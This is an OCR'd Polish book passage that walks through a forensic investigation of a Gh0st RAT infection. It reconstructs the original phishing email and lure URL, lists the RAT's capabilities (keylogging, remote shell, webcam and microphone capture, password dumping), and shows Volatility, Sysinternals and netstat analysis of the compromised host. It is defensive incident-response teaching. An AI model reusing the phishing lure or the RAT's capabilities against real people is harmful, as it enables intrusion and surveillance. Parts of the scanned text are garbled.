znajdowal sie odnosnik do raportu na temat bledu.

Charles kliknat odnosnik, ale zamiast zobaczy¢ raport, ujrzat bialg strong z tekstem
»Prosze czeka¢. Ladowanie w toku”. Po zamknieciu przegladarki Charles ponownie
zajal si¢ praca i zapomnial o nieudanym transferze pliku. Gdy po spotkaniach wrocit
do biurka, okazalo sie, ze komputer zniknal. Pojawila si¢ za to notatka od dziatu bez-
pieczenstwa. Wyjasniono w niej, ze maszyna byla zrédlem podejrzanych danych.
W migdzyczasie zatrudniono $ledczego do zbadania tej sprawy i pomocy przy niej...
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Funkcja
Usuwanie istniejacych rootkitow
Menedzer plikéw

Kontrolowanie ekranu

Eksplorator proceséw
Rejestrator wcisnieé klawiszy
Zdalny terminal
Przechwytywanie sygnatu z kamery
Sledzenie dzwieku

Famanie kont z dostgpem
wdzwanianym

Zdalne wygaszanie ekranu
Zdalne blokowanie urzadzen
wejscia

Zarzadzanie sesja

Zdalne pobieranie plikow

Tworzenie niestandardowego
serwera GhOst

Opis
Usuwanie z tablicy SSDT (ang. System

Service Descriptor Tables) wszystkich
istniejacych ,hakow”

Kompletny menedzer plikéw z hostow
lokalnych i zdalnych

Pelna kontrola nad zdalnym ekranem

Kompletna lista wszystkich aktywnych
procesow i otwartych okien

Rejestrowanie wcisnie¢ klawiszy na zdalnym
komputerze (w czasie rzeczywistym
i w trybie offline)

Zdalna powloka ze wszystkimi funkcjami

Przekaz na zywo sygnatu z kamery

(jesli jest dostepna)

Przekaz na zywo dzwigku z zainstalowanego
mikrofonu (jesli jest dostepny)

Wyséwietlanie kont (wraz z hastami)
majacych dostep wdzwaniany

Wygaszanie ekranu na przejetym hoscie
(komputer staje si¢ bezuzyteczny)

Blokowanie myszy i klawiatury

w przejetym hoscie

Zdalne zamykanie i ponowne uruchamianie
hosta

Mozliwos¢ pobierania plikéw binarnych

z internetu na zdalny host

Konfigurowalne ustawienia serwera
w niestandardowym pliku binarnym

Services)

Tabela 6.1. MozZliwosci GhOsta (dzigki uprzejmosci Michaela Spohna z Foundstone Professional
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Szkodliwe e-maile

Po rozmowie z Charlesem i wieloma innymi osobami stalo si¢ jasne, ze kazdy z pra-
cownikow kliknat adres URL z e-maila. Na szczescie byta dostepna tre$¢ wiadomosci.

Od: Jessica Long [mailto:administrateur@hacme.com]
Wystano: Poniedzialek, 19 grudnia 2011, 09:36

Do: US_ALL_FinDPT

Temat: Nieudana transakcja bankowa

Komunikat zostal wystany w zwigzku z ptatnoscig bankowa nr 012832113749
wystana niedawno z Pana konta.

Obecny status transakeji to: ,nieudana z powodu bledu technicznego”. Prosimy
zapoznad si¢ z ponizszym raportem w celu uzyskania dodatkowych informacji:

http://finiancialservicescOmpany.de/index.html
Z powazaniem
Jessica Long

Stowarzyszenie Ptatnosci Elektronicznych — dbamy o bezpieczenstwo Waszych
transakcji

W trakcie analizowania e-maili §ledczych zdziwilo, ze firma z siedziba w Stanach
Zjednoczonych uzywata niemieckiego adresu URL (z przyrostkiem .de) do dostar-
czania raportéw na temat nieudanych transakcji finansowych. Nastepny krok polegal
na szukaniu $ladéw w nagtéwkach e-maila.

< US_ALL_FinDPT @commercialcompany.com>; Mon, 19 Dec 2011 09:36:07
Received:EmailServer_commcomp.comt (x.x.x.x.) by
ObiWanbmailplanet.com (10.2.2.1) with Microsoft SMTP Server id
10.1.1.1; Mon, 16 Dec 2011 09:35:21

Received: from unknown (HELO arlch) ([6x.8x.6x.7x]) by
ObiWanmailplanet.com with ESMTP; Mon, 19 Dec 2011 09:34:19

Za pomocg zapytan WHOIS oraz narzedzi Robtex Swiss Army Knife Internet Tool
(www.robtex.com) i PhishTank (www.phishtank.com) §ledczy odkryl, ze adres IP
pochodzit z Niemiec i znajdowal si¢ na kilku czarnych listach adresow uzywanych
do rozsylania spamu.

Oznaki wtamania

Szkodliwe oprogramowanie niezaleznie od tego, czy jest uzywane w atakach APT, czy
w standardowy sposdéb, powinno przetrwa¢ ponowne uruchomienie systemu. Wyko-
rzystuje si¢ do tego rézne mechanizmy:
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* rozmaite wezly Run w rejestrze,

* tworzenie uslug,

* podlaczanie si¢ do istniejacych ustug,

* wykorzystanie zaplanowanych zadan,

e ukrywanie komunikacji jako normalnego ruchu,
* zastepowanie gtéwnego rekordu rozruchowego,
* zastepowanie BIOS-a systemu.

W trakcie analiz podejrzanego systemu $ledczy postuguja si¢ technikami badaw-
czymi i procedurami reagowania na incydenty. Wlasciwy sposéb reagowania na incy-
denty jest oparty na stopniu zmiennosci danych, co opisano w dokumencie RFC 3227
(ietf.org/rfc/rfc3227.txt). Podano w nim kolejnos¢, w ktérej nalezy zbiera¢ dowody.
Zwigzana jest ona ze zmienno$cig danych.

* Pamiec.

e Plik stronicowania lub wymiany.

* Informacje o dzialajacych procesach.

* Dane dotyczace sieci, np. porty oczekujace na pakiety lub istniejace pofaczenia

z innymi systemami.

* Rejestr systemu (jesli istnieje).

* Pliki dziennikéw systemowych lub aplikacji.

* Obraz dyskéw utworzony na potrzeby analiz.

* Nosniki ze zarchiwizowanymi danymi.

Aby zbada¢ maszyne, do ktorej si¢ wlamano, przygotuj pakiet réznych narzedzi.

W trakcie analiz wazne jest to, zeby nie zniszczy¢ dowoddw. Narzedzia stosowane
przy reagowaniu na incydenty nalezy skopiowa¢ na ptyte CD i zewnetrzne no$niki

pamieci masowej. W omawianej sytuacji analitycy wykorzystali narzedzia z pakietu
Sysinternals i narzedzia do zastosowan $ledczych:

* AccessData FTK Imager,

e Sysinternals Autoruns,

* Sysinternals Process Explorer,
* Sysinternals Process Monitor,
* WinMerge,

* Currports,

* Sysinternals Vmmap.

' 2.7l Wazne jest to, Ze te narzedzia zapisane na plycie CD potrafia dziafa¢ samodzielnie.
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Rejestrowanie zawartosci pamieci

Gdy badania przeprowadza si¢ zgodnie z poziomem zmiennosci danych, nalezy za-
cza¢ od wykonania zrzutu pamieci z zaatakowanego komputera i wyeksportowaé
go do zewnetrznego urzadzenia z pamiecig masowa. Zrzut moze przyda¢ si¢ do analiz
szkodliwego oprogramowania prowadzonych za pomoca narzedzia Volatility Frame-
work Tool. W programie FTK Imager wybierz opcje File/Capture Memory, czego efekt
pokazano na rysunku 6.3. Wskaz zewnetrzne urzadzenie z pamigcig masowg jako ka-
talog wyjsciowy, nadaj zrzutowi nazwe podobna do nazwazainfekowanejmaszyny .mem
i kliknij przycisk Capture Memory, zeby wykonac zrzut.
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Rysunek 6.3. Tworzenie migawki pamieci zainfekowanego systemu

Analizy pamigci maja miejsce po zebraniu wszystkich dowodéw. Dostepnych
jest kilka narzedzi do analizowania pamieci — m.in. FDPro i Responder Pro firmy
HBGary, Mandian Memoryze i The Volatility Framework (www.volatilesystems.com/
default/volatility). Kazde z nich potrafi wyodrebni¢ z migawek pamieci zwigzane
z procesami dane, np. watki, fancuchy znakéw, zaleznosci i polaczenia. Wspomniane
narzedzia stuza do analizy migawek pamieci, a takze powigzanych plikow systemu
operacyjnego Windows (Pagefile.sys i Hiberfil.sys). Analizy pamieci sa bardzo istotnym
aspektem badan atakow APT, poniewaz wiele narzedzi i metod stosowanych przez
napastnikéw jest opartych na wstrzykiwaniu kodu do proceséw i innych technikach
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zaciemniania. Jednak analiza pamieci pozwala poradzi¢ sobie z tymi sztuczkami,
poniewaz pliki i polaczenia muszg zosta¢ odszyfrowane w korzystajacych z nich pro-
cesach systemu operacyjnego.

UWAGA Ciekawe jest znakomite omowienie krok po kroku analiz pamieci trojana R2D2 (nazywanego tez
Bundestrojanem; uzyto go w stynnym ataku APT omawianym w mediach w Niemczech w 2011 roku).
Znajdziesz je na stronie www.evild3ad.com/1136/volatility-memory-forensics-federal-trojan-aka-r2d2).

Plik stronicowania (wymiany). Pamie¢ wirtualna uzywana przez system operacyjny
Windows jest przechowywana w pliku Pagefile.sys, ktéry znajduje si¢ w gléwnym
katalogu dysku C:. Gdy pamig¢ fizyczna zostaje wyczerpana, system w razie potrzeby
wymienia pamig¢é proceséw. Plik stronicowania moze zawiera¢ cenne informacje
na temat infekcji szkodliwym oprogramowaniem lub ukierunkowanych atakéw.
Takze plik Hyberfil.sys obejmuje dane z pamieci, zapisywane po przejsciu systemu
w stan hibernacji. Analitycy mogg znalez¢ tu dodatkowe dane. Plik ten standardo-
wo jest ukryty i uzywany przez system operacyjny.

Za pomocy narzedzia FTK Manager mozna skopiowa¢ wspomniane pliki do urza-
dzenia z dowodami, co pokazano na rysunkach 6.4 i 6.5. Po kliknieciu pliku stroni-
cowania prawym przyciskiem myszy mozna go wyeksportowa¢ na takie urzadzenie.
Warto pamigta¢, ze lepiej jest utworzy¢ obraz dysku zainfekowanego lub podejrzanego
komputera, jednak nie zawsze jest to praktyczne rozwigzanie. Wtedy plan reago-
wania na incydenty (taki jak opisany w tym rozdziale) pomaga zebra¢ wazne dane
i artefakty, przydatne do powstrzymania i pozbycia si¢ napastnikow oraz zareagowa-
nia na ich dzialania. Przydatny proces analizowania zapisanych plikéw z zawartoscia
pamieci opracowano w ramach projektu The Sandman Project (sandman.msuiche.
net/docs/SandMan_Project.pdf).
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Rysunek 6.4. Zapisywanie plikow z zawartoscig pamieci w aktywnym systemie
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Rysunek 6.5. Eksportowanie pliku pagefile.sys

Analizowanie pamigci. Do analizowania plikéw ze zrzutem pamieci mozna zastosowaé
wspomniane wczesniej oprogramowanie o otwartym dostepie do kodu zZrédtowego —
The Volatility Framework Tool. Najpierw nalezy zidentyfikowac obraz:

$ python vol.py -f /home/imegaofmemdump.mem imageinfo

remnux@remnux: /usr/local/bing . /vol py -f /media/KINGSTON/memdumpghost.mem imageinfo

Determining profile based on KDBG search...

Suggested Profile(s)

AS Layerl :

AS Layer2 :

PAE type :

DTE :

KDBG :

KPCR :

KUSER_SHARED_DATA :

Image date and time :

Image local date and time :
Number of Processors :

Image Type_ :

: WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86)

JKIA32PagedMemoryPae (Kernel AS)
FileAddressSpace (/media/KINGSTON/memdumpghOst, mem)
PAE

0x330000

Ox80545ae0L

exffdffoooL

oxffdfeogeL

2012-92-15 22:12:03

2012-02-15 22:12:03

1

Service Pack 3

Nastepnie trzeba pobra¢ procesy:

$ python vol.py -f /home/imegaofmemdump.mem pslist

Teraz mozna sprawdzi¢ polaczenia sieciowe:

$ python vol.py -f /home/imegaofmemdump.mem connscan
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remnuxd@remnux; fusrdlocal/bing | Svel. py -f /media/KINGSTON/memdumpghist.

offset(V)

Nams

PID

Hnds

Time

mem pslist

Dx823cBB30
oxB224b700
Ox81f47458
0x81leb9020
gx82labach
Ox81F26970
Ox8laefE68
Ox821e9aB8
DxBlabsafa
OxB2232268
gx81f1bdad
Ox8laccdad
OxBlasBss0
Gx8lafidad
0xB1f11ic30
OxEle2cdad
0xB1f405e8
OxE2287dad
Ox81dfe020
Dxfleafchl
Ox8LFT5978
0x81f54c08
0x821baSes
OxB2188330
OxE20e5448
0xB2244570
Ox81f2fdad
OxB20ccl138

System
SMSs . axe
CErss,. exe
winlogon. exe
services.exe
lsass. exe
vmac thlp. exe
svchost.exe
svchost. exe
svchost.exe
svchost. exe
svchost.exe
spoolsv.exe
swvchost.exe
jgs. exe
vmtoolsd. exe
alg. exe
explorer.exe
rundll22. exe
VHwareTray. exe
vmtoolsd. exe
jusched. exe
wscntfy. exe
imapi. exe
wuauclt.exe
jucheck. exe
cmd. exe

FTE Imager. axe

q
564
612
636
680
692
848
BE4
932
1024
loT2
1144
1284
1560
1620
1776

454
1168
1604
1580
1656
1668
1864
1820
1120
1696

220

352

FPID  Thds
o 57

4 2
564 11
564 19
838 18
635 19
&80 1
680 20
680 10
680 66
680 7
680 14
&80 11
&80 2
580 5
&80 7
680 6
1620 13
1160 4
1160 1
1160 6
1180 1
1024 1
&80 5
1024 4
1668 2
1180 1
1160 9

135
104

32
267

1870-01-01
2012-02-15
2012-982-15
2012-92-15
2012-92-15
2012-82-15
2012-82-15
2012-92-15
2012-02-15
2012-92-15
2012-02-15
2012-82-15
2012-02-15
2012-82-15
2012-02-15
2012-92-15
2012-92-15
2012-82-15
2012-02-15
2012-02-15
2012-92-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-92-15%
2012-92-15
2012-92-15

remnux@remnux: /usr/local/bing ./vol.py -f /media/KINGSTON/memdumpgh@ist. mem connscan
Remote Address

192.168.6.128:80
23.66.232.11:80

offset

0x0213be68 192.168.6,132:1035
9x0248ecfd 192.168.6,132:1033

Local Address

Pid

Jak wida¢, aktywne sg dwa polaczenia. Jedno to 23.66.232.11 w porcie 80. Ma
ono identyfikator PID 1696. Mozna sprawdzi¢ ten identyfikator w danych na temat
procesow i powigzaé go z procesem aktualizujacym Jave. Drugie aktywne polaczenie
to 192.168.6.128 w porcie 80 i z identyfikatorem PID 1024. Jest to identyfikator

jednego z proceséw svchost.exe.

Przyjrzyjmy sie dokladniej procesowi o identyfikatorze PID 1024.

$ python vol.py -f /home/imegaofmemdump.mem d111ist —p 1024

Pojawig si¢ dane widoczne na rysunku 6.6.

Teraz wyswietlmy biblioteki DLL z procesu, aby zbada¢ plik 6to4ex.dll:

$ python vol.py -f /home/imegaofmemdump.mem d11dump —p 1024

—dump-dir /Media/Storagedevice

Dumping audiosrv.dll, Process:

Dumping wkssvc.dll, Process: svchost.exe, Base:
Dumping Gtodex.dll, Process: svchost.exe, Base: odu 1 ] ]
Dumping MSVCRIO. dll Process: svchost.exe, Base: 78520000 output: module 192d 2432268, 78520000, dll

Dumping HMSVCP80.dll, Process:

Kup ksigzke

svchost.exe, Base: 708b0000 aﬂtput

10000000 outpuk:

module. 1624, 2432268, 708b0000. 411
T6ed0000 output: module. 102d 2432268, ?ee4ceao dll

svchost.exe, Base: 78480000 output: module,1024.2432268.78480000.d11
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i svchost.exe:1040 Properties E|@®

__Image | Performance | Disk and Network Performance Graph
| Services | Threads TCP{IP | Secwity | Environment Strings

% Services registered in this process:

Semvice Dizplay Mame N
Shaeddcoess Windows Fresall/internet Connection Shar
ShellHwDetection Shell Hardware Detection
stservice System Restore Service
Themes Themes
Trkwks Distributed Link. Tracking Chent
W32Time Windows Time
wanmgmt Windows Management |nstrumentation
WSCEYE Security Center
WIBLISETY Automatic Updates
WZLCSWE ‘wiirelezs Zero Configuration

evice Manager

Monitors USE Service Components

Rysunek 6.6. Wtyczka dlllist wyswietla m.in. biblioteke 6to4ex.dll

Zawarto$¢ pliku 6to4ex.dll mozna w prosty sposdb sprawdzi¢ za pomocg polecenia
strings. Nalezy przyjrzec si¢ danym zwrdconym przez instrukcje d11dump i poda¢
odpowiednig wyeksportowana nazwe pliku.

$ strings /MEDIA/Storagedevice/module.1024.2432

Polecenie to zwraca nastepujace dane:

4. FOATA
4. data
INIT
raloc
W
B3
3P Ry
A0
¥
1505 ]+
p:hvghbsthserver\sysh i IBEWRESSDT, pdb
IofComplatafequast
IoDeletebavice
IoDeleteSymboliclink
{eServicebescriptarTable
*robeForWrite
*robeForRead
_except_handler3
IoCreateaSymbolicLink
IoGraateDavice
tlInitUnicodestring
{aTickCount
ateskrnl. exe
35B3E<BABLE] 6
ETTXT
cassembly xmlnss“urn:schemas-microsoft-com: asm.vl”

manifestVarsione"1.0">

ctrustInfo xmlns="urn:schemas-microsoft-com: asm, v3">
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Zwrd¢ uwage na $ciezke E:\ghOst\server\sys\i386\RESSDT.pdb i inne dane zwr6-
cone przez polecenie strings. Informacje te s bardzo przydatne przy dodatkowych
analizach szkodliwego oprogramowania.

Narzedzie Volatility obejmuje doskonate wtyczki do wyszukiwania sladéw szko-
dliwego oprogramowania w plikach ze zrzutami pamieci. Pamietasz wykryte wczesniej
polaczenie o identyfikatorze PID 1024 uzywane przez jeden z proceséw svchost.exe?
Mozna sprawdzi¢, czy w procesie tym znajduja si¢ ,haki”. Do wyszukiwania ,,hakow”
do interfejsu API w trybie uzytkownika lub trybie jadra stuzy wtyczka apihooks.
Zwrdcone przez nig dane s nastepna oznaka tego, ze proces svchost.exe o identyfi-
katorze PID 1024 jest podejrzany.

$ python vol.py -f /home/imegaofmemdump.mem apihooks —p 1024

resnux@remnus: Susr/local/bing . /vel. py -f /media/KINGSTOM/mesdumpghiist. mem apihooks -p 1024

U] Type Target Value

svchost. exa[1024] inline cryptsvc. dllicryptServiceNain[0xT6cel5T9L] OuT6celS79 CALL [OxTéceloan] w>s fuiid
f3e57 (ADVAPIZZ.d11)

Finished after 1% 7707059383 seconds

Ostatni etap wymaga zastosowania wtyczki malfind. Ma ona wiele funkcji. Mozna
ja zastosowac do wykrywania w pamieci ukrytych lub wstrzyknietych procesow.

$ python vol.py -f /home/imegaofmemdump.mem malfind —p 1024
—-dump-dir /media/storagedevice

Dane wyj$ciowe sg zapisywane w plikach na wybranym no$niku. Pliki te mozna

przesta¢ do skanera Virustotal (www.virustotal.com) lub do producentéw programéw
antywirusowych, aby sprawdzi¢, czy podejrzane pliki sg szkodliwe i znane.
Plik MFT (ang. Master File Table). Plik MFT mozna skopiowa¢ i przeanalizowa¢
w podobny sposéb jak plik Pagefile.sys. Kazdy plik w wolumenie NTES jest przed-
stawiony jako wpis w specjalnym pliku MFT. Jest on bardzo wartosciowy w trakcie
analiz. Znajduja si¢ w nim nazwy plikéw, znaczniki czasu i wiele innych metadanych,
ktore mozna pobra¢, aby lepiej zrozumie¢ incydent (na podstawie korelacji czasowych,
nazw plikéw, ich rozmiardw itd.).

Wroé¢my do analiz. Mozna zbadac¢ pliki stronicowania i MFT, aby odkry¢, co sie
stalo po otwarciu e-maila i kliknieciu adresu URL. Okreslenie czasu zdarzen jest nie-
zwykle istotne we wszystkich $ledztwach. Wazne jest, aby przed rozpoczgciem reje-
strowania zmiennych danych odnotowac¢ czas rozpoczecia $ledztwa oraz czas poka-
zywany przez podejrzang maszyne. Ponizsze dane z pliku MFT wskazuja na to, ze
program do pobierania trojanéw (plik server.exe) zostal utworzony przez uzytkownika
Ch1n00k w katalogu %TEMP% o godzinie 9.43 19 lutego 2011 roku.

RistMa [Deteted|Directory |ADS [Filensme  |siCreateTime (UTC) |Actusisize | Allocsize |Ba |Funipath |
11806 | of o] ofserver.exe |2719/2011 9:43 |125047 | 126576|exe |\Decuments and Settings\Chinook\Local Settings\Temalserver.exe |

Sie¢, proces i rejestr. Dla napastnikéw w atakach APT wazne jest to, aby uzyska¢
polaczenie z kilkoma hostami i méc poruszac si¢ po sieci. Dlatego istotne jest usta-
lenie, czy maszyna utrzymuje podejrzane polaczenia z innymi (nieznanymi) adresami.
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W zainfekowanym komputerze otwo6rz wiersz polecen i wpisz nast¢pujaca
instrukcje:

netstat —ano

Netstat (od ang. network statistics, czyli statystyki sieciowe) to uruchamiane z wier-
sza polecen narzedzie, ktore wyswietla wejéciowe i wyjsciowe polfaczenia sieciowe. Oto
parametry tego polecenia:

* -a. Wyswietla wszystkie aktywne polaczenia oraz porty TCP i UDP, w ktérych
komputer oczekuje na pakiety.

* -n. Wyswietla aktywne polaczenia TCP. Adresy i numery portéw sa podane
w formie liczbowej. Narzedzie nie probuje ustala¢ nazw za pomocg zapytann DNS.

* -0. Wyswietla aktywne potaczenia TCP i podaje identyfikator PID kazdego
polaczenia.

Identyfikator PID jest przydatny, poniewaz pozwala ustali¢, ktdry proces korzysta
z podejrzanego polaczenia.

Dane wyjsciowe zwrdcone przez instrukcje mozna przesta¢ na urzadzenie z dowo-
dami. Umozliwia to nastepujace polecenie:

netstat —ano > [litera napedu z urzadzeniem]:\netstatoutput [nazwa_komputera].txt
Po uruchomieniu tej instrukeji pojawia si¢ dane wyjsciowe pokazane na rysunku 6.7.
Widoczna jest w nich sesja miedzy podejrzanym hostem (192.168.6.132) a maszyna

o adresie IP 192.168.6.128. Polaczenie dziala w porcie 80 (odbiornik HTTP). Warto
zauwazy¢, ze identyfikator PID sesji to 1040.

e C:AWINDOWS\system32\cmd.exe

IC:s2netstat —ano

fictive Connections
Proto Local Address Foreign Address State PID
TCP B.8.8.8:135 B.8.8.8:8 LISTENING 944
TCP B.8.8.8:445 A.A.8.8:8 LISTENING 4
ICP 127.8.8.1:1828 9.6.9.8:8 LISTENING 424
ICcP 127.08.8.1:5152 0.0.8.0:8 LISTENING 1612
TCP 127.8.8.1:5152 127.8.8.1:1864 CLOSE_WAIT 1612
TCP 192.168.6.132:139 6.8.8.8:8 LISTENING 4
TCP 192.168.6.132:1117 192.168.6.128:80 ESTABLISHED 1848
upp B.8.8.68:445 - 4
upp 6.0.0.08:5808 L 692
upp B8.8.8.8:1831 - 1888
upp A.0.0.0:1049 - 1888
upp 3.8.0.0:4508 w2 692
upp 127.8.8.1:123 e 1848
upp 127.0.8.1:1988 - 1188
upp 192.168.6.132:123 - 18408
upp 192.168.6.132:137 "z
UDP 192.168.6.132:138 -
upp 192.168.6.132:1988 - 1188
A

E:

Rysunek 6.7. Dane wyjSciowe polecenia netstat obejmujg procesy oczekujgce na pakiety
i wysyfajace dane
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Plik hosts. Mozna tez szybko sprawdzi¢, czy nie wprowadzono zmian w pliku hosts
systemu. Pierwotny plik (/Windows/System32/drivers/etc) ma wielko$¢ 734 bajty. Kaz-
dy wigkszy rozmiar to powod do podejrzen.

Narzedzie CurrPorts. Innym przydatnym narzedziem do badania aktywnych sesji siecio-
wych jest CurrPorts. Reprezentuje ono w formie graficznej sesje, co pokazano na
rysunku 6.8 (podejrzane polaczenie jest wyrdznione).

Fla Gt Wew COphiors Help
AEHAEVYLEMADA

wn.. Frobocl  Ae<alPort  LecelPer... Locdl Addesn  RomctePeort  Pemcte .. Bomoba Addew  Remcis Moot lame  Ras
e 1008 wrond n0oa Lshaning
-2 5152 1ol nm 127001 eeabiont o Wk
"o L1k To01 noog Lataag
e =00 sk nono

o

Rysunek 6.8. Sesje w programie CurrPorts

Mozna klikng¢ podejrzane polaczenie prawym przyciskiem myszy i wybrac¢ opcje
Properties. Pojawig si¢ cenne dane widoczne na rysunku 6.9.

Na podstawie informacji uzyskanych w wierszu polecen i wlasciwosci podejrza-
nego polaczenia widocznych w narzedziu CurrPorts otrzymano warto$ciowe dane na
temat zainstalowanej w systemie ,,furtki”:

* podejrzane polaczenie korzysta z procesu svchost o identyfikatorze PID 1040,
* zdalny port to 80 (odbiornik HTTP),
* uzywany modul to 6to4ex.dll.

Przyjrzymy si¢ dokladniej procesowi svchost i dotaczonemu do niego plikowi
6todex.dll. Postuza do tego narzedzia Process Monitor, Process Explorer i Vmmap
(wszystkie wchodza w sklad pakietu Sysinternals).

Process Explorer. W narzedziu Process Explorer mozna sprawdzi¢ proces svchost
o identyfikatorze PID 1040, klikng¢ ten proces prawym przyciskiem myszy, a nastgpnie
wybrac opcje Properties. Otwarte okno obejmuje przydatne zakfadki. Jedng z nich
jest Strings, ktora wyswietla szczegotowe informacje na temat zwigzanych z procesem
tancuchéw znakéw z obrazu i pamieci (rysunek 6.10).

Analiza danych wyjsciowych pozwala lepiej zrozumie¢ mechanizmy dziatania
szkodliwego oprogramowania. Po wybraniu zakladki Services ponownie pojawia sie
plik 6to4ex.dll (rysunek 6.11).

Oto pewne ciekawe informacje — opis ustugi 6to4 to Monitors USB Service Com-
ponents (monitoruje skladniki ustug USB), a wyswietlana nazwa to Microsoft Device
Manager (menedzer urzadzen Microsoftu). Powinno to wzbudzi¢ pewne podejrzenia.
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Process Name: swchostexe
Process ID: 1040
Protocol: TCP

Local Port: 1226

Local Port Name:

Local Address: 192.166.6.132
Remote Port: @0

FRemote Port Mame:  http
Femote Address: 192.1668.6.128
Remote Host Mame:

State: Established

Process Path: CAWINDOWS\Syslem32isvchost.exe
Product Name: Microsoft® Windows® Operating System
File Description: Generic Host Process for Win32 Services
File Version: 5.1.2600.5512 [xpsp.0BODA13-2111)
Company: Microzoft Corporation

Process Created On: [12/19/2011 6:49:01 AM

User Name: NT AUTHORITYISYSTEM

Process Services: AudioSre, BITS, CryptSwve, Dhep, dmserver, ERSwve,
Process Attributes: A

Added On: 121192011 41459 PM

Module Filename: ciwindowstsystem 32 Gtodex. dil

Remote IP Country:

Window Title:

Rysunek 6.9. Informacje na temat potaczenia

Po uruchomieniu narzedzia Process Explorer w podejrzanym hoécie okazuje sig, ze
od czasu do czasu w badanym procesie jest wiaczany program cmd.exe (rysunek 6.12).

Moze to oznaczaé, ze napastnik jest aktywny lub prébuje uruchamia¢ instrukcje
w systemie. Uruchomienie narzedzia Process Monitor i wybranie w nim procesu
svchost o identyfikatorze PID 1040 pozwala zobaczy¢ diuga liste wpisow. W trakcie
jej analizowania $ledczy odkrywaja uruchamianie wiersza polecen i dane przesylane
miedzy serwerem C&C a zainfekowanym hostem.

Narzgdzie Process Monitor. Process Monitor stuzy do wy$wietlania wszystkich interakgji
z poziomu jadra miedzy procesami a plikami i systemem operacyjnym. Pomaga to
udokumentowac i zrozumie¢, w jaki sposob szkodliwe oprogramowanie modyfikuje
zainfekowany system. Pozwala to tez ustali¢ oznaki wlamania przydatne w pracy nad
skryptami i narzedziami wykrywajacymi podobne ataki.

W pokazanych na rysunku 6.13 danych wyjsciowych z narzedzia Process Monitor
widag, ze proces svchost.exe utworzyl watek, ktory przesytal dane. Najpierw wystano
pakiet TCP, a nastepnie zainfekowany host odebrat pakiet. Na podstawie tego pakietu
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Rysunek 6.10. Process Explorer — tancuchy znakdw powigzane z procesem svchost
0 identyfikatorze PID 1040

-
i svchost.exe: 1040 Properties

_ Performance Disk and Network
lTteends g TCR AR e Sectrity i

| Performance Graph
e oneerk R Shines

| Services

% Services registered in this process:

Service Display Name N
Sharedcoess Windows Firewalldinternet Connection Shar
ShellHwDetection Shell Hardware Detection
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W32Time Windows Time
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WSCSVC Security Center
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ger
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Rysunek 6.11. Podejrzana usfuga 6to4
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Rysunek 6.13. Operacje procesu svchost.exe

przestano dane na serwer C&C przez polaczenie HTTP (port TCP 80). Sze$¢ ostatnich
wpisow oznacza, ze przestano instrukcje (lub instrukcje) za pomocg wiersza polecen
(cmd.exe). Stacje robocze maja zwykle domyslnie wlaczong funkcje Windows Prefetch,
dlatego dla procesu svchost jest dodawany wpis (poniewaz proces uzywa pliku wyko-
nywalnego). Katalog Prefetch obejmuje histori¢ ostatnich 128 programéw urucho-
mionych w systemie (ponowne wykonanie tego samego programu nie jest odnoto-

wywane). Pobieranie zawartosci katalogu Prefetch omawiamy dalej.

VMMap. W maju 2011 roku autorzy pakietu Sysinternals udostepnili nowe narze-

dzie — VMMap. W witrynie opisano je tak:

VMMap stuzy do analizy wirtualnej i fizycznej pamigci procesow. Wyswietla
przydzielong procesowi pamie¢ wirtualng wedlug jej typow, a takze ilos¢
pamieci fizycznej (roboczej) przypisanej przez system operacyjny dla pamieci
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wirtualnej poszczegdlnych rodzajéw. Oprocz graficznej reprezentacji wykorzy-

stania pamieci VMMap wyswietla tez podsumowanie i szczegétowa mape

pamieci proceséw.

Skoncentrujmy si¢ ponownie na procesie svchost o identyfikatorze PID 1040.
Mozliwe jest wyswietlenie powigzanych z nim procesow.

Wréémy teraz do pliku 6to4ex.dll. VMMap umozliwia wyswietlenie tancuchow

znakow z tego pliku (rysunek 6.14). Pozwala to uzyska¢ ciekawe informacje na temat
uzywanego szkodliwego oprogramowania i jego mozliwosci. Oto te fancuchy znakow:

* "%\shell\open\command,
* GhOst Update,
E:\ghOst\server\sys\i368\RESSDT.pdb,
\??\RESSDTDOS,

* 2AVCScreenmanager,

* 2AVCScreenSpy,

» ?AVCKeyboardmanager,
» ?AVCShellmanager,

* ?AVCAudio,

» ?AVCAudiomanager,
SetWindowsHookExA,

* CVideocap,

¢ Global\GhOst %d,

* \cmd.exe.

Po wyszukaniu dalszych informacji na temat poje¢ GhOst i backdoor staje si¢ jasne,
ze omawiany plik moze by¢ narzedziem RAT, ktdre czgsto stosuje sie w atakach APT.
W tabeli 6.1 wyjasniono, ze narzedzie to m.in. przechwytuje dzwiek, obraz i wcisniecia
klawiszy, udost¢pnia zdalng powloke, zdalne polecenia, menedzer plikéw, podglad
ekranu oraz ma wiele innych funkcji.

Pamig¢ podrgczna zadan DNS. W ustaleniu Zzrédta infekeji przydatny moze by¢ zrzut
zapisanych w pamieci podrecznej zadann DNS wystanych przez podejrzany host. Uru-
chom nastepujacg instrukeje:
ipconfig /displaydns > [naped z _dowodami]\displaydnsoutput.txt

W trakcie analizy danych wyjsciowych odkrywamy ponizszy wpis:

finiancialservicescOmpany.de

Record Name . . . . . : finiancialservicescOmpany.de
Record Type . . . . . : 1
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Rysunek 6.14. VMMap wykonuje polecenie strings dotyczace pliku 6to4ex.dll

Time To Live . . . . : 32478

Data Length . . . . . : 4

Section . . . . . . . : Answer

A (Host) Record . . . : 6x.8x.6x.7x

Pamietasz odnosnik z e-maila?

Poniewaz na razie analiza dotyczyla sieci i proceséw, proces reagowania na incy-
dent nie jest jeszcze kompletny. Wczesniej wspomniano juz, ze szkodliwe oprogra-
mowanie lub, jak w tej sytuacji, narzedzie RAT musi przetrwa¢ ponowne urucha-
mianie systemu.

Zapytania do rejestru. Aby sprawdzi¢ podejrzane wpisy w rejestrze, nalezy zastosowac
ponizsze instrukcje. Pozwalaja one okresli¢ ustawienia weztoéw Run.

reg query hkim\software\microsoft\windows\currentversion\run /s
reg query hkim\software\microsoft\windows\currentversion\runonce /s

W trakcie analizowania rejestru warto tez sprawdzi¢, czy w wezle Services nie
wystepuja nietypowe nazwy ustug, $ciezki do plikéw DLL ustug lub niedopasowane
nazwy ustug. Uruchom nastepujace polecenie:

reg query HKLM\system\currentcontrolset\services /s
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Zaplanowane zadania. Innym komponentem, ktdry nalezy sprawdzi¢ w podejrzanym
hoscie, jest harmonogram zadan. Mozliwe, Ze napastnik zaplanowal wykonanie pew-
nych operacji. Mozna to sprawdzi¢, uruchamiajac ponizszg instrukcje w wierszu
polecen:

at
schtasks

